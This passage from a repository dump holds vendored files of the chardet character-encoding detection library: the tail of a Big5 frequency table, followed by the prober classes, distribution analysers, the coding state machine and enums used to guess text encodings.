884,2228,4369,2412, 508,3772, 726,3638, 996,2433, # 4208 3639, 729,5553, 392,2194,1453,4114,4726,3773,5554,5555,2463,3640,2618,1675,2813, # 4224 919,2352,2975,2353,1270,4727,4115, 73,5556,5557, 647,5558,3259,2856,2259,1550, # 4240 1346,3024,5559,1332, 883,3526,5560,5561,5562,5563,3334,2775,5564,1212, 831,1347, # 4256 4370,4728,2331,3909,1864,3073, 720,3910,4729,4730,3911,5565,4371,5566,5567,4731, # 4272 5568,5569,1799,4732,3774,2619,4733,3641,1645,2376,4734,5570,2938, 669,2211,2675, # 4288 2434,5571,2893,5572,5573,1028,3260,5574,4372,2413,5575,2260,1353,5576,5577,4735, # 4304 3183, 518,5578,4116,5579,4373,1961,5580,2143,4374,5581,5582,3025,2354,2355,3912, # 4320 516,1834,1454,4117,2708,4375,4736,2229,2620,1972,1129,3642,5583,2776,5584,2976, # 4336 1422, 577,1470,3026,1524,3410,5585,5586, 432,4376,3074,3527,5587,2594,1455,2515, # 4352 2230,1973,1175,5588,1020,2741,4118,3528,4737,5589,2742,5590,1743,1361,3075,3529, # 4368 2649,4119,4377,4738,2295, 895, 924,4378,2171, 331,2247,3076, 166,1627,3077,1098, # 4384 5591,1232,2894,2231,3411,4739, 657, 403,1196,2377, 542,3775,3412,1600,4379,3530, # 4400 5592,4740,2777,3261, 576, 530,1362,4741,4742,2540,2676,3776,4120,5593, 842,3913, # 4416 5594,2814,2032,1014,4121, 213,2709,3413, 665, 621,4380,5595,3777,2939,2435,5596, # 4432 2436,3335,3643,3414,4743,4381,2541,4382,4744,3644,1682,4383,3531,1380,5597, 724, # 4448 2282, 600,1670,5598,1337,1233,4745,3126,2248,5599,1621,4746,5600, 651,4384,5601, # 4464 1612,4385,2621,5602,2857,5603,2743,2312,3078,5604, 716,2464,3079, 174,1255,2710, # 4480 4122,3645, 548,1320,1398, 728,4123,1574,5605,1891,1197,3080,4124,5606,3081,3082, # 4496 3778,3646,3779, 747,5607, 635,4386,4747,5608,5609,5610,4387,5611,5612,4748,5613, # 4512 3415,4749,2437, 451,5614,3780,2542,2073,4388,2744,4389,4125,5615,1764,4750,5616, # 4528 4390, 350,4751,2283,2395,2493,5617,4391,4126,2249,1434,4127, 488,4752, 458,4392, # 4544 4128,3781, 771,1330,2396,3914,2576,3184,2160,2414,1553,2677,3185,4393,5618,2494, # 4560 2895,2622,1720,2711,4394,3416,4753,5619,2543,4395,5620,3262,4396,2778,5621,2016, # 4576 2745,5622,1155,1017,3782,3915,5623,3336,2313, 201,1865,4397,1430,5624,4129,5625, # 4592 5626,5627,5628,5629,4398,1604,5630, 414,1866, 371,2595,4754,4755,3532,2017,3127, # 4608 4756,1708, 960,4399, 887, 389,2172,1536,1663,1721,5631,2232,4130,2356,2940,1580, # 4624 5632,5633,1744,4757,2544,4758,4759,5634,4760,5635,2074,5636,4761,3647,3417,2896, # 4640 4400,5637,4401,2650,3418,2815, 673,2712,2465, 709,3533,4131,3648,4402,5638,1148, # 4656 502, 634,5639,5640,1204,4762,3649,1575,4763,2623,3783,5641,3784,3128, 948,3263, # 4672 121,1745,3916,1110,5642,4403,3083,2516,3027,4132,3785,1151,1771,3917,1488,4133, # 4688 1987,5643,2438,3534,5644,5645,2094,5646,4404,3918,1213,1407,2816, 531,2746,2545, # 4704 3264,1011,1537,4764,2779,4405,3129,1061,5647,3786,3787,1867,2897,5648,2018, 120, # 4720 4406,4407,2063,3650,3265,2314,3919,2678,3419,1955,4765,4134,5649,3535,1047,2713, # 4736 1266,5650,1368,4766,2858, 649,3420,3920,2546,2747,1102,2859,2679,5651,5652,2000, # 4752 5653,1111,3651,2977,5654,2495,3921,3652,2817,1855,3421,3788,5655,5656,3422,2415, # 4768 2898,3337,3266,3653,5657,2577,5658,3654,2818,4135,1460, 856,5659,3655,5660,2899, # 4784 2978,5661,2900,3922,5662,4408, 632,2517, 875,3923,1697,3924,2296,5663,5664,4767, # 4800 3028,1239, 580,4768,4409,5665, 914, 936,2075,1190,4136,1039,2124,5666,5667,5668, # 4816 5669,3423,1473,5670,1354,4410,3925,4769,2173,3084,4137, 915,3338,4411,4412,3339, # 4832 1605,1835,5671,2748, 398,3656,4413,3926,4138, 328,1913,2860,4139,3927,1331,4414, # 4848 3029, 937,4415,5672,3657,4140,4141,3424,2161,4770,3425, 524, 742, 538,3085,1012, # 4864 5673,5674,3928,2466,5675, 658,1103, 225,3929,5676,5677,4771,5678,4772,5679,3267, # 4880 1243,5680,4142, 963,2250,4773,5681,2714,3658,3186,5682,5683,2596,2332,5684,4774, # 4896 5685,5686,5687,3536, 957,3426,2547,2033,1931,2941,2467, 870,2019,3659,1746,2780, # 4912 2781,2439,2468,5688,3930,5689,3789,3130,3790,3537,3427,3791,5690,1179,3086,5691, # 4928 3187,2378,4416,3792,2548,3188,3131,2749,4143,5692,3428,1556,2549,2297, 977,2901, # 4944 2034,4144,1205,3429,5693,1765,3430,3189,2125,1271, 714,1689,4775,3538,5694,2333, # 4960 3931, 533,4417,3660,2184, 617,5695,2469,3340,3539,2315,5696,5697,3190,5698,5699, # 4976 3932,1988, 618, 427,2651,3540,3431,5700,5701,1244,1690,5702,2819,4418,4776,5703, # 4992 3541,4777,5704,2284,1576, 473,3661,4419,3432, 972,5705,3662,5706,3087,5707,5708, # 5008 4778,4779,5709,3793,4145,4146,5710, 153,4780, 356,5711,1892,2902,4420,2144, 408, # 5024 803,2357,5712,3933,5713,4421,1646,2578,2518,4781,4782,3934,5714,3935,4422,5715, # 5040 2416,3433, 752,5716,5717,1962,3341,2979,5718, 746,3030,2470,4783,4423,3794, 698, # 5056 4784,1893,4424,3663,2550,4785,3664,3936,5719,3191,3434,5720,1824,1302,4147,2715, # 5072 3937,1974,4425,5721,4426,3192, 823,1303,1288,1236,2861,3542,4148,3435, 774,3938, # 5088 5722,1581,4786,1304,2862,3939,4787,5723,2440,2162,1083,3268,4427,4149,4428, 344, # 5104 1173, 288,2316, 454,1683,5724,5725,1461,4788,4150,2597,5726,5727,4789, 985, 894, # 5120 5728,3436,3193,5729,1914,2942,3795,1989,5730,2111,1975,5731,4151,5732,2579,1194, # 5136 425,5733,4790,3194,1245,3796,4429,5734,5735,2863,5736, 636,4791,1856,3940, 760, # 5152 1800,5737,4430,2212,1508,4792,4152,1894,1684,2298,5738,5739,4793,4431,4432,2213, # 5168 479,5740,5741, 832,5742,4153,2496,5743,2980,2497,3797, 990,3132, 627,1815,2652, # 5184 4433,1582,4434,2126,2112,3543,4794,5744, 799,4435,3195,5745,4795,2113,1737,3031, # 5200 1018, 543, 754,4436,3342,1676,4796,4797,4154,4798,1489,5746,3544,5747,2624,2903, # 5216 4155,5748,5749,2981,5750,5751,5752,5753,3196,4799,4800,2185,1722,5754,3269,3270, # 5232 1843,3665,1715, 481, 365,1976,1857,5755,5756,1963,2498,4801,5757,2127,3666,3271, # 5248 433,1895,2064,2076,5758, 602,2750,5759,5760,5761,5762,5763,3032,1628,3437,5764, # 5264 3197,4802,4156,2904,4803,2519,5765,2551,2782,5766,5767,5768,3343,4804,2905,5769, # 5280 4805,5770,2864,4806,4807,1221,2982,4157,2520,5771,5772,5773,1868,1990,5774,5775, # 5296 5776,1896,5777,5778,4808,1897,4158, 318,5779,2095,4159,4437,5780,5781, 485,5782, # 5312 938,3941, 553,2680, 116,5783,3942,3667,5784,3545,2681,2783,3438,3344,2820,5785, # 5328 3668,2943,4160,1747,2944,2983,5786,5787, 207,5788,4809,5789,4810,2521,5790,3033, # 5344 890,3669,3943,5791,1878,3798,3439,5792,2186,2358,3440,1652,5793,5794,5795, 941, # 5360 2299, 208,3546,4161,2020, 330,4438,3944,2906,2499,3799,4439,4811,5796,5797,5798, # 5376 ) ================================================ FILE: thirdparty/chardet/big5prober.py ================================================ ######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Communicator client code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### from .mbcharsetprober import MultiByteCharSetProber from .codingstatemachine import CodingStateMachine from .chardistribution import Big5DistributionAnalysis from .mbcssm import BIG5_SM_MODEL class Big5Prober(MultiByteCharSetProber): def __init__(self): super(Big5Prober, self).__init__() self.coding_sm = CodingStateMachine(BIG5_SM_MODEL) self.distribution_analyzer = Big5DistributionAnalysis() self.reset() @property def charset_name(self): return "Big5" @property def language(self): return "Chinese" ================================================ FILE: thirdparty/chardet/chardistribution.py ================================================ ######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Communicator client code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### from .euctwfreq import (EUCTW_CHAR_TO_FREQ_ORDER, EUCTW_TABLE_SIZE, EUCTW_TYPICAL_DISTRIBUTION_RATIO) from .euckrfreq import (EUCKR_CHAR_TO_FREQ_ORDER, EUCKR_TABLE_SIZE, EUCKR_TYPICAL_DISTRIBUTION_RATIO) from .gb2312freq import (GB2312_CHAR_TO_FREQ_ORDER, GB2312_TABLE_SIZE, GB2312_TYPICAL_DISTRIBUTION_RATIO) from .big5freq import (BIG5_CHAR_TO_FREQ_ORDER, BIG5_TABLE_SIZE, BIG5_TYPICAL_DISTRIBUTION_RATIO) from .jisfreq import (JIS_CHAR_TO_FREQ_ORDER, JIS_TABLE_SIZE, JIS_TYPICAL_DISTRIBUTION_RATIO) class CharDistributionAnalysis(object): ENOUGH_DATA_THRESHOLD = 1024 SURE_YES = 0.99 SURE_NO = 0.01 MINIMUM_DATA_THRESHOLD = 3 def __init__(self): # Mapping table to get frequency order from char order (get from # GetOrder()) self._char_to_freq_order = None self._table_size = None # Size of above table # This is a constant value which varies from language to language, # used in calculating confidence. See # http://www.mozilla.org/projects/intl/UniversalCharsetDetection.html # for further detail. self.typical_distribution_ratio = None self._done = None self._total_chars = None self._freq_chars = None self.reset() def reset(self): """reset analyser, clear any state""" # If this flag is set to True, detection is done and conclusion has # been made self._done = False self._total_chars = 0 # Total characters encountered # The number of characters whose frequency order is less than 512 self._freq_chars = 0 def feed(self, char, char_len): """feed a character with known length""" if char_len == 2: # we only care about 2-bytes character in our distribution analysis order = self.get_order(char) else: order = -1 if order >= 0: self._total_chars += 1 # order is valid if order < self._table_size: if 512 > self._char_to_freq_order[order]: self._freq_chars += 1 def get_confidence(self): """return confidence based on existing data""" # if we didn't receive any character in our consideration range, # return negative answer if self._total_chars <= 0 or self._freq_chars <= self.MINIMUM_DATA_THRESHOLD: return self.SURE_NO if self._total_chars != self._freq_chars: r = (self._freq_chars / ((self._total_chars - self._freq_chars) * self.typical_distribution_ratio)) if r < self.SURE_YES: return r # normalize confidence (we don't want to be 100% sure) return self.SURE_YES def got_enough_data(self): # It is not necessary to receive all data to draw conclusion. # For charset detection, certain amount of data is enough return self._total_chars > self.ENOUGH_DATA_THRESHOLD def get_order(self, byte_str): # We do not handle characters based on the original encoding string, # but convert this encoding string to a number, here called order. # This allows multiple encodings of a language to share one frequency # table. return -1 class EUCTWDistributionAnalysis(CharDistributionAnalysis): def __init__(self): super(EUCTWDistributionAnalysis, self).__init__() self._char_to_freq_order = EUCTW_CHAR_TO_FREQ_ORDER self._table_size = EUCTW_TABLE_SIZE self.typical_distribution_ratio = EUCTW_TYPICAL_DISTRIBUTION_RATIO def get_order(self, byte_str): # for euc-TW encoding, we are interested # first byte range: 0xc4 -- 0xfe # second byte range: 0xa1 -- 0xfe # no validation needed here. State machine has done that first_char = byte_str[0] if first_char >= 0xC4: return 94 * (first_char - 0xC4) + byte_str[1] - 0xA1 else: return -1 class EUCKRDistributionAnalysis(CharDistributionAnalysis): def __init__(self): super(EUCKRDistributionAnalysis, self).__init__() self._char_to_freq_order = EUCKR_CHAR_TO_FREQ_ORDER self._table_size = EUCKR_TABLE_SIZE self.typical_distribution_ratio = EUCKR_TYPICAL_DISTRIBUTION_RATIO def get_order(self, byte_str): # for euc-KR encoding, we are interested # first byte range: 0xb0 -- 0xfe # second byte range: 0xa1 -- 0xfe # no validation needed here. State machine has done that first_char = byte_str[0] if first_char >= 0xB0: return 94 * (first_char - 0xB0) + byte_str[1] - 0xA1 else: return -1 class GB2312DistributionAnalysis(CharDistributionAnalysis): def __init__(self): super(GB2312DistributionAnalysis, self).__init__() self._char_to_freq_order = GB2312_CHAR_TO_FREQ_ORDER self._table_size = GB2312_TABLE_SIZE self.typical_distribution_ratio = GB2312_TYPICAL_DISTRIBUTION_RATIO def get_order(self, byte_str): # for GB2312 encoding, we are interested # first byte range: 0xb0 -- 0xfe # second byte range: 0xa1 -- 0xfe # no validation needed here. State machine has done that first_char, second_char = byte_str[0], byte_str[1] if (first_char >= 0xB0) and (second_char >= 0xA1): return 94 * (first_char - 0xB0) + second_char - 0xA1 else: return -1 class Big5DistributionAnalysis(CharDistributionAnalysis): def __init__(self): super(Big5DistributionAnalysis, self).__init__() self._char_to_freq_order = BIG5_CHAR_TO_FREQ_ORDER self._table_size = BIG5_TABLE_SIZE self.typical_distribution_ratio = BIG5_TYPICAL_DISTRIBUTION_RATIO def get_order(self, byte_str): # for big5 encoding, we are interested # first byte range: 0xa4 -- 0xfe # second byte range: 0x40 -- 0x7e , 0xa1 -- 0xfe # no validation needed here. State machine has done that first_char, second_char = byte_str[0], byte_str[1] if first_char >= 0xA4: if second_char >= 0xA1: return 157 * (first_char - 0xA4) + second_char - 0xA1 + 63 else: return 157 * (first_char - 0xA4) + second_char - 0x40 else: return -1 class SJISDistributionAnalysis(CharDistributionAnalysis): def __init__(self): super(SJISDistributionAnalysis, self).__init__() self._char_to_freq_order = JIS_CHAR_TO_FREQ_ORDER self._table_size = JIS_TABLE_SIZE self.typical_distribution_ratio = JIS_TYPICAL_DISTRIBUTION_RATIO def get_order(self, byte_str): # for sjis encoding, we are interested # first byte range: 0x81 -- 0x9f , 0xe0 -- 0xfe # second byte range: 0x40 -- 0x7e, 0x81 -- oxfe # no validation needed here. State machine has done that first_char, second_char = byte_str[0], byte_str[1] if (first_char >= 0x81) and (first_char <= 0x9F): order = 188 * (first_char - 0x81) elif (first_char >= 0xE0) and (first_char <= 0xEF): order = 188 * (first_char - 0xE0 + 31) else: return -1 order = order + second_char - 0x40 if second_char > 0x7F: order = -1 return order class EUCJPDistributionAnalysis(CharDistributionAnalysis): def __init__(self): super(EUCJPDistributionAnalysis, self).__init__() self._char_to_freq_order = JIS_CHAR_TO_FREQ_ORDER self._table_size = JIS_TABLE_SIZE self.typical_distribution_ratio = JIS_TYPICAL_DISTRIBUTION_RATIO def get_order(self, byte_str): # for euc-JP encoding, we are interested # first byte range: 0xa0 -- 0xfe # second byte range: 0xa1 -- 0xfe # no validation needed here. State machine has done that char = byte_str[0] if char >= 0xA0: return 94 * (char - 0xA1) + byte_str[1] - 0xa1 else: return -1 ================================================ FILE: thirdparty/chardet/charsetgroupprober.py ================================================ ######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Communicator client code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### from .enums import ProbingState from .charsetprober import CharSetProber class CharSetGroupProber(CharSetProber): def __init__(self, lang_filter=None): super(CharSetGroupProber, self).__init__(lang_filter=lang_filter) self._active_num = 0 self.probers = [] self._best_guess_prober = None def reset(self): super(CharSetGroupProber, self).reset() self._active_num = 0 for prober in self.probers: if prober: prober.reset() prober.active = True self._active_num += 1 self._best_guess_prober = None @property def charset_name(self): if not self._best_guess_prober: self.get_confidence() if not self._best_guess_prober: return None return self._best_guess_prober.charset_name @property def language(self): if not self._best_guess_prober: self.get_confidence() if not self._best_guess_prober: return None return self._best_guess_prober.language def feed(self, byte_str): for prober in self.probers: if not prober: continue if not prober.active: continue state = prober.feed(byte_str) if not state: continue if state == ProbingState.FOUND_IT: self._best_guess_prober = prober return self.state elif state == ProbingState.NOT_ME: prober.active = False self._active_num -= 1 if self._active_num <= 0: self._state = ProbingState.NOT_ME return self.state return self.state def get_confidence(self): state = self.state if state == ProbingState.FOUND_IT: return 0.99 elif state == ProbingState.NOT_ME: return 0.01 best_conf = 0.0 self._best_guess_prober = None for prober in self.probers: if not prober: continue if not prober.active: self.logger.debug('%s not active', prober.charset_name) continue conf = prober.get_confidence() self.logger.debug('%s %s confidence = %s', prober.charset_name, prober.language, conf) if best_conf < conf: best_conf = conf self._best_guess_prober = prober if not self._best_guess_prober: return 0.0 return best_conf ================================================ FILE: thirdparty/chardet/charsetprober.py ================================================ ######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Universal charset detector code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 2001 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # Shy Shalom - original C code # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### import logging import re from .enums import ProbingState class CharSetProber(object): SHORTCUT_THRESHOLD = 0.95 def __init__(self, lang_filter=None): self._state = None self.lang_filter = lang_filter self.logger = logging.getLogger(__name__) def reset(self): self._state = ProbingState.DETECTING @property def charset_name(self): return None def feed(self, buf): pass @property def state(self): return self._state def get_confidence(self): return 0.0 @staticmethod def filter_high_byte_only(buf): buf = re.sub(b'([\x00-\x7F])+', b' ', buf) return buf @staticmethod def filter_international_words(buf): """ We define three types of bytes: alphabet: english alphabets [a-zA-Z] international: international characters [\x80-\xFF] marker: everything else [^a-zA-Z\x80-\xFF] The input buffer can be thought to contain a series of words delimited by markers. This function works to filter all words that contain at least one international character. All contiguous sequences of markers are replaced by a single space ascii character. This filter applies to all scripts which do not use English characters. """ filtered = bytearray() # This regex expression filters out only words that have at-least one # international character. The word may include one marker character at # the end. words = re.findall(b'[a-zA-Z]*[\x80-\xFF]+[a-zA-Z]*[^a-zA-Z\x80-\xFF]?', buf) for word in words: filtered.extend(word[:-1]) # If the last character in the word is a marker, replace it with a # space as markers shouldn't affect our analysis (they are used # similarly across all languages and may thus have similar # frequencies). last_char = word[-1:] if not last_char.isalpha() and last_char < b'\x80': last_char = b' ' filtered.extend(last_char) return filtered @staticmethod def filter_with_english_letters(buf): """ Returns a copy of ``buf`` that retains only the sequences of English alphabet and high byte characters that are not between <> characters. Also retains English alphabet and high byte characters immediately before occurrences of >. This filter can be applied to all scripts which contain both English characters and extended ASCII characters, but is currently only used by ``Latin1Prober``. """ filtered = bytearray() in_tag = False prev = 0 for curr in range(len(buf)): # Slice here to get bytes instead of an int with Python 3 buf_char = buf[curr:curr + 1] # Check if we're coming out of or entering an HTML tag if buf_char == b'>': in_tag = False elif buf_char == b'<': in_tag = True # If current character is not extended-ASCII and not alphabetic... if buf_char < b'\x80' and not buf_char.isalpha(): # ...and we're not in a tag if curr > prev and not in_tag: # Keep everything after last non-extended-ASCII, # non-alphabetic character filtered.extend(buf[prev:curr]) # Output a space to delimit stretch we kept filtered.extend(b' ') prev = curr + 1 # If we're not in a tag... if not in_tag: # Keep everything after last non-extended-ASCII, non-alphabetic # character filtered.extend(buf[prev:]) return filtered ================================================ FILE: thirdparty/chardet/codingstatemachine.py ================================================ ######################## BEGIN LICENSE BLOCK ######################## # The Original Code is mozilla.org code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### import logging from .enums import MachineState class CodingStateMachine(object): """ A state machine to verify a byte sequence for a particular encoding. For each byte the detector receives, it will feed that byte to every active state machine available, one byte at a time. The state machine changes its state based on its previous state and the byte it receives. There are 3 states in a state machine that are of interest to an auto-detector: START state: This is the state to start with, or a legal byte sequence (i.e. a valid code point) for character has been identified. ME state: This indicates that the state machine identified a byte sequence that is specific to the charset it is designed for and that there is no other possible encoding which can contain this byte sequence. This will to lead to an immediate positive answer for the detector. ERROR state: This indicates the state machine identified an illegal byte sequence for that encoding. This will lead to an immediate negative answer for this encoding. Detector will exclude this encoding from consideration from here on. """ def __init__(self, sm): self._model = sm self._curr_byte_pos = 0 self._curr_char_len = 0 self._curr_state = None self.logger = logging.getLogger(__name__) self.reset() def reset(self): self._curr_state = MachineState.START def next_state(self, c): # for each byte we get its class # if it is first byte, we also get byte length byte_class = self._model['class_table'][c] if self._curr_state == MachineState.START: self._curr_byte_pos = 0 self._curr_char_len = self._model['char_len_table'][byte_class] # from byte's class and state_table, we get its next state curr_state = (self._curr_state * self._model['class_factor'] + byte_class) self._curr_state = self._model['state_table'][curr_state] self._curr_byte_pos += 1 return self._curr_state def get_current_charlen(self): return self._curr_char_len def get_coding_state_machine(self): return self._model['name'] @property def language(self): return self._model['language'] ================================================ FILE: thirdparty/chardet/compat.py ================================================ ######################## BEGIN LICENSE BLOCK ######################## # Contributor(s): # Dan Blanchard # Ian Cordasco # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### import sys if sys.version_info < (3, 0): PY2 = True PY3 = False base_str = (str, unicode) text_type = unicode else: PY2 = False PY3 = True base_str = (bytes, str) text_type = str ================================================ FILE: thirdparty/chardet/cp949prober.py ================================================ ######################## BEGIN LICENSE BLOCK ######################## # The Original Code is mozilla.org code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### from .chardistribution import EUCKRDistributionAnalysis from .codingstatemachine import CodingStateMachine from .mbcharsetprober import MultiByteCharSetProber from .mbcssm import CP949_SM_MODEL class CP949Prober(MultiByteCharSetProber): def __init__(self): super(CP949Prober, self).__init__() self.coding_sm = CodingStateMachine(CP949_SM_MODEL) # NOTE: CP949 is a superset of EUC-KR, so the distribution should be # not different. self.distribution_analyzer = EUCKRDistributionAnalysis() self.reset() @property def charset_name(self): return "CP949" @property def language(self): return "Korean" ================================================ FILE: thirdparty/chardet/enums.py ================================================ """ All of the Enums that are used throughout the chardet package. :author: Dan Blanchard (dan.blanchard@gmail.com) """ class InputState(object): """ This enum represents the different states a universal detector can be in. """ PURE_ASCII = 0 ESC_ASCII = 1 HIGH_BYTE = 2 class LanguageFilter(object): """ This enum represents the different language filters we can apply to a ``UniversalDetector``. """ CHINESE_SIMPLIFIED = 0x01 CHINESE_TRADITIONAL = 0x02 JAPANESE = 0x04 KOREAN = 0x08 NON_CJK = 0x10 ALL = 0x1F CHINESE = CHINESE_SIMPLIFIED | CHINESE_TRADITIONAL CJK = CHINESE | JAPANESE | KOREAN class ProbingState(object): """ This enum represents the different states a prober can be in. """ DETECTING = 0 FOUND_IT = 1 NOT_ME = 2 class MachineState(object): """ This enum represents the different states a state machine can be in. """ START = 0 ERROR = 1 ITS_ME = 2 class SequenceLikelihood(object): """ This enum represents the likelihood of a character following the previous one. """ NEGATIVE = 0 UNLIKELY = 1 LIKELY = 2 POSITIVE = 3 @classmethod def get_num_categories(cls): """:returns: The number of likelihood categories in the enum.""" return 4 class CharacterCategory(object): """ This enum represents the different categories language models for ``SingleByteCharsetProber`` put characters into. Anything less than CONTROL is considered a letter. """ UNDEFINED = 255 LINE_BREAK = 254 SYMBOL = 253 DIGIT = 252 CONTROL = 251 ================================================ FILE: thirdparty/chardet/escprober.py ================================================ ######################## BEGIN LICENSE BLOCK ######################## # The Original Code is mozilla.org code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### from .charsetprober import CharSetProber from .codingstatemachine import CodingStateMachine from .enums import LanguageFilter, ProbingState, MachineState from .escsm import (HZ_SM_MODEL, ISO2022CN_SM_MODEL, ISO2022JP_SM_MODEL, ISO2022KR_SM_MODEL) class EscCharSetProber(CharSetProber): """ This CharSetProber uses a "code scheme" approach for detecting encodings, whereby easily recognizable escape or shift sequences are relied on to identify these encodings. """ def __init__(self, lang_filter=None): super(EscCharSetProber, self).__init__(lang_filter=lang_filter) self.coding_sm = [] if self.lang_filter & LanguageFilter.CHINESE_SIMPLIFIED: self.coding_sm.append(CodingStateMachine(HZ_SM_MODEL)) self.coding_sm.append(CodingStateMachine(ISO2022CN_SM_MODEL)) if self.lang_filter & LanguageFilter.JAPANESE: self.coding_sm.append(CodingStateMachine(ISO2022JP_SM_MODEL)) if self.lang_filter & LanguageFilter.KOREAN: self.coding_sm.append(CodingStateMachine(ISO2022KR_SM_MODEL)) self.active_sm_count = None self._detected_charset = None self._detected_language = None self._state = None self.reset() def reset(self): super(EscCharSetProber, self).reset() for coding_sm in self.coding_sm: if not coding_sm: continue coding_sm.active = True coding_sm.reset() self.active_sm_count = len(self.coding_sm) self._detected_charset = None self._detected_language = None @property def charset_name(self): return self._detected_charset @property def language(self): return self._detected_language def get_confidence(self): if self._detected_charset: return 0.99 else: return 0.00 def feed(self, byte_str): for c in byte_str: for coding_sm in self.coding_sm: if not coding_sm or not coding_sm.active: continue coding_state = coding_sm.next_state(c) if coding_state == MachineState.ERROR: coding_sm.active = False self.active_sm_count -= 1 if self.active_sm_count <= 0: self._state = ProbingState.NOT_ME return self.state elif coding_state == MachineState.ITS_ME: self._state = ProbingState.FOUND_IT self._detected_charset = coding_sm.get_coding_state_machine() self._detected_language = coding_sm.language return self.state return self.state ================================================ FILE: 